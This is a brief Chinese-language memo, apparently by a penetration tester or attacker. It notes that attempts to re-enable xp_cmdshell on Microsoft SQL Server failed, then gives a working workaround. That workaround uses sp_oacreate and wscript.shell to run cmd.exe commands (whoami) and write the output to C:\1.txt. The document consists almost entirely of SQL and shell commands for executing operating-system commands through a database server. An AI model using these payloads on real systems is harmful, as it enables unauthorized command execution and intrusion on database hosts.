试过恢复xp_cmdshell语句,均无法使用。提示请启用。
sp_configure 'show advanced options',1
reconfigure
go
sp_configure 'xp_cmdshell',1
reconfigure
go
exec master..xp_cmdshell 'whoami'
sp_configure 'show advanced options',1
RECONFIGURE WITH OVERRIDE
go
sp_configure 'xp_cmdshell',1
RECONFIGURE WITH OVERRIDE
go
使用
Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c whoami >> C:\1.txt';
成功执行命令,将其结果写出到1.txt